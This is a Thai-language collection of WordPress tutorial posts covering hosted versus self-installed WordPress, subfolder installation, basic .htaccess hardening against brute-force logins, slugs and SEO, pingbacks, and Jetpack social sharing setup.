WordPress เป็น web application ตัวหนึ่งที่ใช้สำหรับสร้างเว็บไซต์ มีการใช้ WordPress อย่างแพร่หลายทั่วโลกจนกลายเป็น platform มาตรฐานหนึ่งสำหรับการทำเว็บไซต์ การใช้ WordPress ทำได้สองวิธีคือ ใช้บริการเป็น blog ฟรี จาก wordpress.com และนำ WordPress มาติดตั้งบนโฮสต์ด้วยตัวเอง wordpress.com เป็นบริการเว็บไซต์ (หรือ blog) ฟรี แบบเดียวกับ blospot.com ของ google แต่เป็นในสไตล์ของ WordPress เราเพียงแต่ใช้ email สมัครเข้าใช้บริการเปิด blog กับ WordPress โดยการตั้งชื่อ subdomain ภายใต้ wordpress.com ซึ่งถ้าว่างเราก็จะได้ blog หรือมีเว็บไซต์ในทันที จุดเด่นของ WordPress คือการมีธีมฟรีสนับสนุนมากมาย ถึงแม้จะต้องเสียค่าใช้จ่ายบ้างก็ราคาไม่กี่ร้อยบาทหรืออย่างมากก็แค่หลักพันบาท การใช้บริการจาก wordpress.com มีข้อจำกัดอยู่หลายอย่าง เช่น 1. ไม่สามารถติดตั้ง plugin เพิ่มเติมได้ แต่ WordPress ก็จะมี plugin มาตรฐานที่เพียงพอต่อการใช้งานได้แล้ว เช่น plugin พวก social เป็นต้น 2. ไม่สามารถแก้ไข theme ได้ ข้อจำกัดนี้อาจไม่ใช่ข้อจำกัดของผู้ใช้ทั่วไป แต่สำหรับผู้ที่ออกแบบเว็บไซต์ด้วย html เป็นก็อยากจะแก้ไขบางส่วนของธีมเพื่อให้มีเอกลักษณ์ อาจจะรู้สึกหงุดหงิด ส่วนข้อดีของการใช้บริการจาก wordpress.com คือ 1. ไม่ต้องยุ่งยากกับการป้องกันการถูกแฮค (หากตั้งรหัสผ่านไม่ให้เดาง่าย) เพราะ WordPress จะเป็นคนดูแลระบบให้เราเอง 2. เว็บไซต์ของเราจะเป็น subdomain ของ wordpress.com ซึ่งจะช่วยให้ blog ของเราได้รับความสนใจจาก search engine มากกว่าการเปิดเว็บไซต์ใหม่ ซึ่งหากใครเคยลองสังเกตดูจะพบว่าในผลของการค้นหาผ่าน google หลายครั้งเราจะพบว่ามีเว็บไซต์จาก wordpress.com หรือ blogspot.com ปรากฏมาให้เห็นอยู่บ่อยๆ และมีหลายเว็บไซต์ที่อยู่ในอันดับที่สูงกว่าเว็บไซต์ที่จดโดเมนเอง ถึงแม้ว่าเว็บไซต์ที่จดโดเมนเองจะมีเนื้อหามากกว่าก็ตาม 3. ไม่ต้องยุ่งยากกับการ backup ข้อมูล อันนี้ WordPress เขาคอยดูแลให้ โอกาสที่่เว็บจะล่มแล้วข้อมูลหายน้อยมาก wordpress.org สำหรับผู้เริ่มต้นจะมีเว็บไซต์หรือผู้ที่ไม่ได้ต้องการยุ่งยากกับงานป้องกันการแฮค การ backup ข้อมูล และไม่ซีเรียสกับธีมฟรีที่หน้าตาพื้นๆ ต้องการนำเสนอข้อมูลอย่างเดียว เช่นต้องการเขียนบทความลงเว็บไซต์ของงานอดิเรก ต้องการทำ blog โฆษณาสินค้า ขายสินค้า โดยหวังผลทางด้าน SEO ในระยะสั้น ไม่ต้องการลูกเล่นอะไรในหน้าเว็บไซต์มาก การใช้บริการจาก wordpress.com ก็น่าจะเพียงพอ แต่เมื่อใช้ไปสักพักหนึ่ง คุณอาจต้องการมากกว่านั้น คือคุณต้องการมีเว็บไซต์ที่คุณเป็นเจ้าของเองโดยสมบูรณ์ ซึ่ง WordPress ก็สนองความต้องการของคุณด้วยการนำซอฟต์แวร์แบบเดียวกันกับ wordpress.com มาให้คุณดาวน์โหลดไปติดตั้งบนโอสท์ของคุณได้ฟรี โดยดาวน์โหลดจาก wordpress.org ดังนั้นเมื่อพูดถึง wordpress.com ก็หมายถึงการใช้ WordPress ฟรีทั้งหมด มีเพียงอีเมลล์ก็สามารถเปิดเว็บไซต์ได้ เมื่อพูดถึง wordpress.org ก็จะหมายถึงการใช้ WordPress แบบเดียวกัน แต่ต้องนำมาติดตั้งบนโฮสท์ที่เราเช่าสำหรับทำเว็บไซต์ แล้วเราก็ดูแลเองทั้งหมด ตั้งแต่การติดดั้งไปจนถึงการลง theme การลง plugin การ backup และการป้องกันการถูกแฮค การติดตั้งเว็บไซต์ WordPress เอง หรือจาก wordpress.org เป็นเรื่่องง่าย ถ้าทุกอย่างพร้อมก็ใช้เวลาไม่กี่นาที แต่สิ่งที่ยากก็คือการเลือกดีไซน์หรือ theme ให้เหมาะกับความต้องการ การเลือก plugin ที่จำเป็น การบำรุงรักษา และที่สำคัญมาโปรโมทเว็บไซต์ให้เป็นที่รู้จัก และการเชื่อมโยงกับเครือข่ายอื่นๆเพื่อให้บรรจุวัตถุประสงค์ของการมีเว็บไซต์

การติดตั้ง WordPress ใน subfolder

การติดตั้ง WordPress ใน subfolder

ปกติเมื่อเราทำการติดตั้ง WordPress เราจะติดตั้งลงบน public_html เพราะเป็นตำแหน่งมาตรฐาน แต่บางครั้งเรามีความจำเป้นต้องติดตั้ง WordPress ลงในโฟลเดอร์ย่อยลงไปอีกชั้นหนึ่ง เช่นใน public_html/wordpress อาจด้วยเหตุที่เรามี web application อื่นติดตั้งรวมอยู่ด้วย เช่น opencart ซึ่งการแยก WordPress ไปลงใน subdirectory จะช่วยทำให้ดูเป็นระบบมากกว่า โดยปกติหากเราติดตั้ง WordPress ไว้ที่ /public_html/wordpress เว็บไซต์ของเราก็จะต้องมี url เป็น http://webstyleapp.com/wordpress แต่ในที่นี้เราต้องการให้เป็น http://webstyleapp.com ขั้นตอนการติดตั้งครั้งแรก เซตให้ WordPress อยู่ใน /public_html/wordpress ก่อน 1. FTP ไฟล์ของ WordPress ไปที่ /public_html/wordpress 2. ติดตั้ง WordPress ตามกระบวนการปกติ 3. ซึ่งตอนนี้ url ของเราจะอยู่ที่ http://webstyleapp.com/wordpress ใช้ NotePad+ ก็อปปี้ /public_html/wordpress/index.php ไปไว้ที่ /public_html แล้วเปิดไฟล์ดังกล่าว เปลี่ยนคำสั่งในบรรทัด require(‘./wp-blog-header.php’); เป็น require(‘./wordpress/wp-blog-header.php’); 4. เข้าเมนู Settings->General เปลี่ยนเป็น WordPress Directory: http://webstyleapp.com/wordpress/ Site Directory: http://webstyleapp.com/ 5. ทดลองเข้า http://webstyleapp.com/ ซึ่ง url หลักควรจะเปลี่ยนมาที่นี่ หากจะย้ายจากตำแหน่งเดิม หากเราติดตั้ง WordPress ลงใน /public_html อยู่ก่อนแล้ว ให้ทำตามขั้นตอนต่อไปนี้ 1. ย้ายไฟล์ทั้งหมดลงไปไว้ที่ /public_html/wordpress 2. ใช้ NotePad+ ก็อปปี้ /public_html/wordpress/index.php ไปไว้ที่ /public_html แล้วเปิดไฟล์ดังกล่าว เปลี่ยนคำสั่งในบรรทัด require(‘./wp-blog-header.php’); เป็น require(‘./wordpress/wp-blog-header.php’); 4. เข้าเมนู Settings->General เปลี่ยนเป็น WordPress Directory: http://webstyleapp.com/wordpress/ Site Directory: http://webstyleapp.com/ 5. ทดลองเข้า http://webstyleapp.com/ ซึ่งควรจะเข้าได้ตามปกติ

แนวทางการป้องกัน WordPress จากการโดนแฮค

แนวทางการป้องกัน WordPress จากการโดนแฮค

สงวนลิขสิทธิ์ การโจมตีเว็บไซต์ WordPress อย่างต่อเนื่องยังเป็นความเสี่ยงของผู้ที่เป็นเจ้าของหรือผู้ดูแลระบบ การป้องกัน WordPress จากการโดนแฮคเป็นสิ่งที่ผู้ดูแลระบบจะต้องให้ความสำคัญอย่างต่อเนื่อง มาตรการเล็กๆน้อยๆแม้จะไม่ได้ช่วยให้ปลอดภัยจากการถูกแฮคได้ 100% แต่ก็ช่วยลดความเสี่ยงจากการถูกแฮคจาก robot ได้มาก ลดความเสี่ยงจากการถูกแฮครหัสผ่าน วิธีพื้นฐานที่ robot ใช้ในการเจาะเข้าเว็บไซต์ทั่วไปคือการเดาชื่อบัญชีและรหัสผ่านหรือที่เรียกกันว่า brute force attack ซึ่งเป็นการเดาสุ่มโดยโปรแกรม ซึ่งสามารถเดาได้ถี่มากในช่วงเวลาสั้นๆ ยิ่งถ้าเป็นชื่อบัญชีพื้นๆอย่างเช่น admin root home และรหัสผ่านสั้นๆไม่กี่ตัวอักษรก็จะถูกเดาได้อย่างง่ายมาก ดังนั้นสิ่งพื้นฐานที่ผู้ดูและเว็บไซต์จะต้องให้ความสำคัญคือนอกจากรหัสผ่านจะเป็นความลับแล้ว ชื่อบัญชีก็ต้องเป็นความลับด้วย และเรื่องต่อมาก็คือจะต้องลดความถี่จากการพยายามเจาะเข้ามา สำหรับ WordPress มี plugin อยู่สองตัวที่ช่วยทำหน้านี้คือ  lockdown และ limit lock in attempt ตัวแรกไม่มีการอัพเดทมาเกินสองปีแล้ว แต่ก็ยังใช้ได้ดี ป้องกันด้วย .htaccess สำหรับผู้ที่ใช้โฮสท์ในระบบ linux และใช้ apache เป็น web server จะมีกลไลที่ช่วยป้องกันการเจาะเข้าในระดับไดเรคทอรี่และระดับไฟล์ ซึ่งใช้ได้กับเว็บไซต์ทุกประเภท ไม่จำเป็นต้องเป็นเว็บไซต์ที่สร้างด้วย CMS หรือ WordPress .htaccess เป็นไฟล์ที่จะใช้บอกเงื่อนไขว่าเราต้องการควบคุมการเข้าถึงเว็บไซต์ของเราอย่างไร ซึ่งหากเราลง WordPress ครั้งแรกและเปิดใช้ permalinks ไว้ ไฟล์นี้จะถูกสร้างขึ้นให้โดยอัตโนมัติที่ตำแหน่ง public_html ซึ่งเราเปิดดูก็จะเป็นดังนี้ # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ – [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress ซึ่งข้อมูลข้างบนเราไม่ต้องไปแตะเพราะเกี่ยวกับการทำ permalinks เราเพียงแต่เขียนต่อท้ายเข้าไป ป้องกัน wp-config.php wp-config.php เป็นไฟล์เป้าหมายอันดับต้นๆที่จะถูกแก้ไขหากเว็บของเราถูกเจาะเข้ามาได้ เพราะว่าไฟล์นี้จะถูกรันทุกครั้งที่มีการเปิดเว็บเพจของเรา ซึ่งหากมีการใส่โค้ดบางอย่างแทรกเข้าไปโค้ดนั้นก็สามารถรันได้ตลอดเวลา วิธีป้องกันไม่ให้ไฟล์นี้ถูกเปลี่ยนแปลงก็คือใส่โค้ดต่อไปนี้ลงไป <Files wp-config.php> order allow,deny deny from all </Files> ซึ่งจะเป็นการป้องกันไม่ให้มีการแก้ไขข้อมูลในไฟล์นี้รวมทั้งตัวเราเองด้วย ซึึ่งหากเรามีเหตุผลบางอย่างที่ต้องการเปลี่ยนแปลง wp-config.php  เช่นเราต้องการเปลี่ยนรหัสผ่านของฐานข้อมูล ก็ต้องมาปลดล็อกตรงนี้ก่อน ป้องกันการ login จาก IP อื่น ปกติเมื่อเราจะเข้าใช้ WordPress ก็จะเข้าผ่านทาง mysite.com/wp-admin ซึ่งคนอื่นที่จะเจาะเข้ามาก็ใช้ช่องทางนี้เช่นกัน ซึ่งอาจจะทำโดยโปรแกรมก็ได้ ถ้าองค์กรของคุณใช้ IP แบบ fix คุณสามารถเจาะจงว่า IP ของคุณเท่านั้นที่สามารถเข้าทางช่องนี้ได้ โดยสร้างไฟล์ .htaccess อีกไฟล์ไว้ภายใต้ public_html/wp-admin order deny allow allow from 203.100.20.5 deny from all โดย 203.100.20.5 คือ  fix IP ของเรา แต่ถ้าเราใช้ IP แบบ dynamic ก็ให้มาแก้ไขหมายเลขนี้ก่อนล็อกอิน (ซึ่งไม่สะดวก) เพราะฉะนั้นใช้วิธีนี้ก็ต่อเมื่อคุณใช้ fix IP จะดีกว่า ป้องกันจาก IP ไม่พึงประสงค์ เมื่อเราใช้ plugin อย่างเช่น limit login attempt เราจะสังเกตเห็น IP บางตัวที่พยายามเจาะเข้ามาอย่างถีี่ๆ ซึ่งเราอาจเอาไปตรวจสอบกับ iplocation.net เพื่อหาที่มา หากพบว่าที่มาเป็นที่น่าสงสัย เราก็อาจบล็อก IP นั้นไปเลยก็ได้ โดยพิมพ์คำสั่งต่อไปนี้เข้าไปใน .htaccess <Limit GET POST> order allow deny deny from 203.100.21.1 deny from 203.102.181.20 allow from all…

WordPress Slug กับการทำ SEO

WordPress Slug กับการทำ SEO

Slug ใน WordPress มีความสัมพันธ์กับการทำ SEO อย่างแยกกันไม่ออก slug คือ ข้อความที่ใช้แทนโพสต์และ search engine จะหา keyword จาก slug ของโพสต์นั้น เมื่อเราเปิดใช้ permalinks จะมีช่องสำหรับใส่ slug สำหรับโพสต์นั้น Slug กับ Permalinks เป็นคู่กัน สำหรับผู้ที่ใช้ wordpress.com คงจะคุ้นเคยกับ slug อยู่แล้ว เพราะจะถูกบังคับให้ใช้อยู่แล้ว ปกติเมื่อเราเขียนไตเติ้ลของโพสต์ WordPress จะเซตให้ slug เป็นไตเติ้ลโดยอัตโนมัติ ซึ่งเราสามารถเปลี่ยนได้ทีหลัง สำหรับผู้เซตเว็บไซต์เองหรือ wordpress.org จะต้องเปิดใช้ permalinks เอง Slug กับไตเติ้ลต่างกันอย่างไร อย่างที่กล่าวไว้ตอนต้น เมื่อเราสร้างโพสต์ใหม่ WordPress จะกำหนดให้ slug เป็นตัวเดียวกันกับไตเติ้ล สำหรับผู้อ่าน ไตเติ้ลของโพสต์เป็นสิ่งที่ทำให้เรารู้ว่าโพสนั้นเกี่ยวกับอะไร  แต่สำหรับ search engine ไตเติ้ลไม่เพียงพอที่จะบอกว่าโพสต์นั้นเกี่ยวกับอะไร search engine จะอ่าน uri ประกอบด้วยเพื่อวิเคราะห์ว่าโพสต์นั้นเกี่ยวกับอะไร (หรือควรจะคู่กับ keyword ใด) ดังนั้น slug จึงเป็นส่วนสำคัญส่วนหนึ่งสำหรับการทำ SEO ไปโดยปริยาย ถ้าจะตั้งคำถามว่า slug คืออะไร ลองสังเกต url อย่างเช่น http://webstyleapp.com/blog/เรียน-wordpress/wordpress-slug-คืออะไร/ คำว่า “wordpress-slug-คืออะไร” นั่นแหละครับคือ slug นิยามแบบภาษาชาวบ้านๆ มันก็คือชื่อของโพสต์หรือเพจที่เราเขียนนั่นเองครับในระบบของ WordPress จะใช้ slug เป็นตัวระบุตัวตนของแต่ละโพสต์ (เมื่อเปิดใช้ permalinks) ซึ่งแต่ละโพสต์จะมี slug ซ้ำกันไม่ได้ ถ้าใส่ซ้ำกัน WordPress จะเปลี่ยนให้เป็นคำใหม่ เช่น ถ้าเรามีโพสต์ที่มี slug ชื่อ “i-love-wordpress” อยู่ก่อนแล้ว แล้วเราสร้างโพสต์ใหม่แล้วตั้ง slug เป็นชื่อนี้ หลังจากเซฟ WordPress จะเปลี่ยนให้เป็น “i-love-wordpress-1” หรือเลขอื่นถ้ามีซ้ากันหลายตัว ส่วนก่อนหน้าของ uri เช่น /blog/เรียน-wordpress/ ไม่เป็นส่วนหนึ่งของ slug คำเหล่านี้จะสร้างจากระบบของ WordPress เอง เช่นการเซต custom post type เป็นต้น Slug ต่างจาก โพสต์หรือเพจ ID หรือไม่ เมื่อเราลง WordPress ใหม่ๆ ยังไม่มีการเซต permalinks เราจะสังเกตเห็น url ลักษณะนี้เมื่อเราอ่านโพสต์ใดโพสต์หนึ่ง http://webstyleapp.com/?p=10 ซึ่งมีความหมายว่ากำลังแสดงโพสต์หมายเลข 10 หรือถ้าเราดูเพจใดเพจหนึ่งจะสังเกตเห็น url ลักษณะนี้ http://webstyleapp.com/?p=10 http://webstyleapp.com/?page_id=30 ตัวเลข 10 หรือ 30 เป็นตัวเลขแสดง ID ของโพสต์และเพจตามลำดับ ซึ่งจะเป็นตัวเลขที่ไม่ซ้ำกัน เมื่อเราเปิดใช้ permalinks ส่วนของรหัสดังกล่าวจะถูกแทนที่ด้วยคำที่มีความหมายซึ่งก็คือ slug นั่นเอง และก็เป็นเหตุผลว่า slug เองก็ไม่สามารถซ้ำกันได้ด้วย Slug เขียนได้สองที่ วิธีที่ง่ายที่สุดในการใส่ slug ก็คือใส่ที่ permalinks ใต้ไตเติ้ล แต่ WordPress ที่ช่องที่ใส่ slug ได้อีกช่องหนึ่ง ซึ่งปกติจะปิดเอาไว้ ถ้าจะเปิดให้คลิกที่ Screen Options ที่มุมขวาบน แล้วคลิกถูกที่ Slug หลังจากนั้นลองไปดูที่ท้ายช่องเขียนโพสต์จะมีช่องให้แก้ไข slug ซึ่งหากเราแก้ไข slug ที่ช่องนี้แล้วกด update ก็จะมีผลเหมือนกับที่ใส่ในช่องใต้ไตเติ้ลตรง permalinks และข้อมูลตรงนั้นก็จะถูกเปลี่ยนตามด้วย คือแก้ที่หนึ่งอีกที่หนึ่งก็จะเปลี่ยนตาม บางคนอาจจะสงสัยว่าทำไมมันถึงมีสองที่ จริงๆแล้วที่ที่ใช้เก็บข้อมูลจริงๆคือที่ที่สองนี่เอง เพราะข้อมูลในช่องนี้จะถูกเก็บเข้าไว้ในฐานข้อมูลโดยตรง ซึ่งก็คือฟิลด์ post_name นั่นเอง ส่วนที่อยู่ตรง permalinks ใต้ไตเติ้ลเป็นส่วนที่ WordPress ทำไว้ให้ง่ายในการแก้ไขและให้ดูเป็นมิตรกับผู้เขียนโพสต์ทั่วไป สรุปแล้ว…

Pingbacks คืออะไร

Pingbacks คืออะไร

Pingbacks อาจจะเป็นเรื่องไม่ค่อยคุ้นหูสำหรับผู้เริ่มใช้ WordPress แต่จริงๆแล้วมันไม่ใช่เรื่องใหม่ เป็นสิ่งที่มีมานาน และไม่ใช่เรื่องของ WordPress โดยตรง เป็นเรื่องของระบบ blog เสียมากกว่า และถือเป็นส่วนหนึ่งของการการคอมเมนต์เพื่อสร้างเครือข่ายคนติดตาม blog รวมถึงการทำ SEO ด้วย แน่นอนว่าเราทำเว็บไซต์ก็ต้องการให้คนเข้ามาดูมากเพื่อให้มีโอกาสขายสินค้าและบริการได้มากที่สุด หรือสร้างความจงรักภักดีต่อแบรนด์ หรือเพื่องานอดิเรก นอกจากการเขียนเนื้อหาที่น่าสนใจแล้ว การมีส่วนร่วมก็เป็นสิ่งสำคัญ ซึ่งถ้าพูดในกรอบของ blog (ไม่ใช้ social tool อย่าง facebook หรือ twitter) แล้ว การเปิดให้มีการคอมเมนต์ถือเป็นหัวใจหลักของการมีส่วนร่วมของผู้เข้าชมเว็บไซต์ของเรา ดังนั้นความนิยมในตัวเว็บไซต์นอกจากจะวัดกันที่จำนวนคลิกต่อวันหรือทราฟฟิคแล้ว ปริมาณของการคอมเมนต์ก็เป็นตัววัดตัวหนึ่ง คอมเมนต์โดยทั่วไปเรารู้จักกันดี แต่มีคอมเมนต์ลักษณะหนึ่งที่เราอาจจะเคยเห็นในบางโพสต์ คือมีลักษณะเป็นลิงค์ไปยังอีกเว็บไซต์หนึ่ง ลิงค์ลักษณะนี้ในภาษาของ blog เรียกว่า pingbacks หรือการคอมเมนต์โดยผ่านลิงค์ คือเนื้อหาของคอมเมนต์อยู่ในอีกเว็บไซต์หนึ่ง ซึ่งต้องตามไปอ่านเอง กล่าวอย่างง่ายๆ pingbacks คือ ระบบการคอมเมนต์อันหนึ่ง ที่ผู้คอมเมนต์ทำการคอมเมนต์โพสต์ในเว็บเพจอื่นจากโพสต์ในเว็บไซต์ของเขาเอง แล้วส่งสัญญาณ (ping) มาหาโพสต์นั้น เพื่อให้เจ้าของโพสต์นั้นอนุญาตว่าจะให้ลงคอมเมนต์ของเขาหรือไม่ แต่ไม่มีเนื้อหาของคอมเมนต์มีเพียงลิงค์ที่ส่งกลับไปหาโพสต์ที่คอมเมนต์มา กลไกของ pingbacks เป็นอย่างไร Pingbacks เป็นหลักการ จะทำอย่างไรขึ้นอยู่กับระบบ blog นั้นๆจะกำหนด โดยทั่วไประบบที่สนับสนุนหลักการนี้จะทำให้ขั้นตอนเป็นไปโดยอัตโนมัติ 1. เมื่อคนเขียนโพสต์ในเว็บไซต์ A ทำลิงค์มายังโพสต์ในเว็บไซต์ B เท่ากับว่าโพสต์ใน A ได้คอมเมนต์โพสต์ใน B 2. จะมีข้อความแจ้งไปยังเว็บไซต์ B ว่ามีคอมเมนต์แบบ pingbacks เกิดขึ้นจากเว็บไซต์ A 3. ผู้ดูแลเว็บไซต์ A รับทราบ ถ้าตัดสินใจอนุมัติ จะมีลิงค์กลับไปยังเพจที่คอมเมนต์มาในเว็บไซต์ B ซึ่งโดยทั้วไปตำแหน่งของลิงค์จะอยู่แถวๆคอมเมนต์ในโพสต์ A WordPress กับ Pingbacks WordPress เป็นเครื่องมือทำเว็บไซต์ที่มีฟังก์ชันของ blog อยู่ครบถ้วน รวมทั้งการ pingbacks ซึ่งค่าปกติของ WordPress ทั้งของ .com และ .org (3.5.2) จะเหมือนกันคือจะเปิดการ pingbacks ไว้ทุกโพสต์ เมื่อมีคนทำโพสต์ลิงค์มายังโพสต์ใดโพสต์หนึ่งของเราจะเกิดการ pingbacks โดยอัตโนมัติ คือจะปรากฏเป็นคอมเมนต์หนึ่งในเมนู Comments ตามรูป ตามตัวอย่างคือมีโพสต์จาก http://successbest.wordpress.com/2013/06/27/……. ทำ pingbacks มาหาเรา ซึ่งในระบบของ WordPress จะถือเป็นคอมเมนต์หนึ่ง ซึ่งถ้าหากเราอนุมัติ pingbacks นั้น ก็จะปรากฏลิงค์กลับไปยังหน้าเพจของโพสต์นั้น ตามรูปเป็นตำแหน่งของ pingbacks ใน Twenty Eleven ซึ่งตำแหน่งของ pingback จะขึ้นอยู่กับ theme ที่ใช้ บางตัวอาจไปวางไว้ท้ายไตเติ้ล บางทีก็ไปวางไว้ท้ายคอมเมนต์ เปิดใช้ pingbacks ที่ไหน โดยปกติ WordPress จะเปิด pingbacks ไว้เป็นค่าเริ่มแรก ซึ่งการควบคุมจะทำได้สองระดับ 1. เซตกับทุกโพสต์ เป็นการเซตว่าจะเปิดการใช้หรือไม่ ซึ่งค่าเริ่มแรกเป็นดังรูป คือเปิดไว้หมด แต่การเซตตรงนี้จะถูกเปลี่ยนแปลงไปตามการเซตเฉพาะโพสต์ได้ setting open pingback notification การยกเลิกก็ให้เอาเครื่องหมายถูกหน้า Allow link notifications from other blogs (pingbacks and trackbacks) ออก 2. เซตเฉพาะโพสต์ ในแต่ละโพสต์เราสามารถกำหนดได้ลงไปอีกชั้นหนึ่งว่า จะให้รับ pingbacks หรือไม่ ค่าเริ่มแรกจะเป็นดังรูป คือเปิดหมด ถ้าไม่ต้องการสำหรับโพสต์ใดก็ให้เอาเครื่องหมายถูกหน้า Allow trackbacks and pingpacks on this page ออก ปกติออปชั่นนี้จะมองไม่เห็น ให้คลิกที่ Option Screens แล้วคลิกถูกที่ช่อง Discussion Pingbacks กับ Spam และ SEO มาถึงตรงนี้ต้องทำความเข้าใจกันก่อนนะครับว่า หลักการของ pingbacks เป็นหลักการที่ดี เจตนาคือช่วยสร้างเครือข่ายของ…

แชร์ด้วย Jetpack Publicize และ Jetpack Sharing

แชร์ด้วย Jetpack Publicize และ Jetpack Sharing

การใช้ระบบ Subscription หรือ Follow เป็นการสร้างเครือข่าย blog ของ WordPress เมื่อถึงยุคของ social จึงเกิดระบบ like และ share ขึ้น ซึ่งสามารถขยายเครือข่ายได้อย่างมากมายกว่าที่ระบบ blog เคยทำได้มาก่อน เว็บไซต์ social ที่เป็นที่นิยมก็คงหนีไม่พ้น facebook และ twitter และที่กำลังพยายามตามมาก็คือ google+ ผู้ที่ใช้ blog จาก wordpress.com สามารถใช้เครื่องมือในการ like และ share บน facebook แชร์บน twitter รวมทั้ง google+ ได้อย่างง่ายดาย รวมทั้งเครือข่าย social อื่นๆ โดยที่ไม่ต้องติดตั้งอะไร แต่ถ้าหากติดตั้งเว็บเอง ตัวเทียบเท่าก็คือ Jetpack Publicize และ Jetpack Sharing ที่จะกล่าวถึงนี้ เชื่อมต่อ social ด้วย Jetpack Publicize สำหรับ wordpress.org หรือเว็บไซต์ WordPress ที่สร้างขึ้นเอง เราสามารถใช้ฟีเจอร์แบบเดียวกับที่มีใน wordpress.com ด้วย plugin publicize รูปร่างหน้าตาของเว็บที่ใช้ plugin นี้คงจะเห็นกันจนชินตา ข้อดีของ publicize คือช่วยสร้าง App ในการเชื่อมต่อกับ social tool ให้เราโดยอัตโนมัติ และนี่เป็นเหตุผลหนึ่งที่ WordPress บังคับห้เราต้องมีบัญชี blog กับ WordPress เริ่มด้วยการ activate หากยังไม่ได้เปิดใช้งานก็เลือกเมนู Jetpack แล้วคลิก activate ตั้งค่าเชื่อมต่อ Social Tools ไปที่เมนู Settings->Sharing Facebook และ Twitter คงไม่มีใครไม่รู้จัก Linkedin เป็นเครือข่ายสังคมสำหรับคนทำงาน หางาน ส่วน tumblr เป็น blog แบบหนึ่ง บางคนจัดว่าเป็น micro blog ได้รับความนิยมพอสมควร เชื่อมต่อกับ Facebook ปกติถ้าเราต้องการใช้ฟังก์ชันของ facebook ภายใต้เว็บไซต์ของเรา เช่นกล่อง like ปุ่ม share กล่อง comment เราจะต้องสร้าง App ภายใต้ facebook ขึ้นมา ซึ่งผู้ที่มีบัญชีของ facebook ทุกคนสามารถสร้างได้ แต่อาจเป็นเรื่องยุ่งยากกับคนที่ไม่คุ้น ซึ่งถ้าเป็น plugin ทั่วไปเราจะต้องสร้าง App ขึ้นเองก่อนแล้วจึงเชื่อมโยงเข้ากับ plugin แต่สำหรับ Jetpack เราไม่ต้องสร้าง App เพราะ WordPress สร้างไว้ให้แล้ว เราเพียงแต่ติดตั้ง App ของ WordPress ไปใน facebook ของเรา กดปุ่ม Add new Facebook connection จะขึ้นหน้า login ของเฟสบุค ล็อกอินด้วยบัญชีเฟสบุคของเรา จากนั้น WordPress จะทำการติดตั้ง App ของ WordPress ในนามของเรา ซึ่งเราต้องอนุญาตให้อ่าน public profile และรายชื่อ friend ได้ จากนั้นจะให้เราเลือกว่าจะให้ WordPress โพสต์ข้อความลงไปที่ไหน ค่าปกติเป็น Friends แต่แนะนำให้เปลี่ยนเป็น Only me จากนั้น WordPress ต้องการสิทธิ์ในการจัดการกับ fan page ที่เรามี ให้เลือกตกลง เป็นอันเรียบร้อย ตอนนี้ blog หรือเว็บไซต์ขอเราได้เชื่อมต่อกับ Facebook แล้ว สังเกตว่าชื่อ facebook ของเราจะไปปรากฎเป็น connection หนึ่ง…

WordPress เป็นเป้าหมายของการโดน Hack

WordPress เป็นเป้าหมายของการโดน Hack

WordPress กำลังเป็นเครื่องมือสำหรับสร้างเว็บไซต์แห่งยุคตัวหนึ่งที่ได้รับความนิยมอย่างล้นหลามทั่วโลก เว็บไซต์ดังๆหลายแห่งสร้างขึ้นโดยใช้ WordPress รวมทั้งเว็บไซต์ในประเทศไทย คลิกไปที่ไหนก็เจอเว็บที่สร้างด้วย WordPress เสียกว่า 50% (ประเมินส่วนตัว) และด้วยความที่เป็น CMS ยอดนิยม ก็ย่อมตกเป็นเป้าหมายของการโดน hack อย่างไม่น่าสงสัย ผู้ให้บริการชื่อดังอย่าง hostgator ประกาศเตือนผู้เช่า host ที่ใช้ WordPress ให้ระวังการถูกโจมตีโดยการ login แบบลองผิดลองถูกกับ username และ password (ที่เรียกว่า brute-force attack) โดย robot จากเครื่อง server กลุ่มหนึ่งที่ถูกเซตมาเพื่อโจมตีเว็บไซต์ที่ใช้ WordPress โดยเฉพาะ โจมตีอย่างไร robot เหล่านี้จะพยายาม login เข้าสู่ระบบโดยใช้ชื่อบัญชี admin เป็นหลักและลองรหัสผ่านง่ายๆ เช่น 123456, qazwsx, qwerty หรือลองจากคำง่ายๆเช่น happybirthday, bangkok, waterfall อะไรอย่างนี้เป็นต้น ซึ่งวิธีการอย่างนี้เกิดขึ้นได้กับทุกระบบ ไม่จำเป็นต้องเป็นเว็บไซต์ที่สร้างขึ้นด้วย WordPress (ขึ้นอยู่กับว่าเป็นเป้าหมายในการโจมตีหรือเปล่า) รูปต่อไปนี้คือความพยายามที่จะเจาะเข้ามา ซึ่งมีการสุ่มชื่อผู้ใช้ admin เป็นหลัก รวมทั้งชื่อง่ายๆอย่าง test, support เป็นต้น ก่อนที่จะไปถึงผลของการโดน hack ซึ่งอาจจะไม่ได้มาจากวิธีนี้ เรามีวิธีป้องกันกันการเดาสุ่ม username และ password ได้ง่ายๆโดยใช้ plugin ชื่อ limit login attempts ซึ่งเราสามารถเซตได้ว่าหากมีการ login ผิดจะต้องรออีกกี่นาทีถึงจะ login ครั้งต่อไปได้ แม้จะไม่ได้เป็นการป้องกันการโดน hack ได้ 100% เพราะหาก username และ password เดาได้ง่ายก็ถูกเจาะเข้ามาได้ง่ายเช่นกัน แต่เป็นการป้องกันไม่ให้มีการ login ผิดแบบถี่ๆ เป็นการหน่วงเวลาของ robot ซึ่งเป็นการลดโอกาสในการถูก hack ให้น้อยลง อีกอย่าง username และ password ให้ใช้วิธีตั้งค่าให้ยาวๆ (8 ตัวอักษรขึ้นไป) และไม่ใช้คำสามัญ โดยเฉพาะ password ให้สร้างโดยใช้อักษรตัวเล็กตัวใหญ่ ผสมตัวเลข ผสมอักษรพิเศษ %$#@ เข้าไปก็จะช่วยได้อย่างมากมายมหาศาล ผลของการโจมตีเป็นอย่างไร ผลของการโจมตีนั้นสุดแสนจะคาดเดา เพราะหากถูก login เข้ามาได้ในฐานะ admin ก็ย่อมสามารถทำอะไรได้เหมือนกับที่เราทำ ตั้งแต่สร้างความหายนะคือการเปลี่ยนแปลงข้อมูล แก้ไขหน้าเว็บเพจ จนกระทั่งถึงลบข้อมูลทิ้ง แต่โดยทั่วไป การ hack เข้ามาจะกระทำโดย robot และจะทำอะไรก็ทำโดย robot (เว้นเสียแต่ว่าเราเป็นเป้าหมายจริงๆ 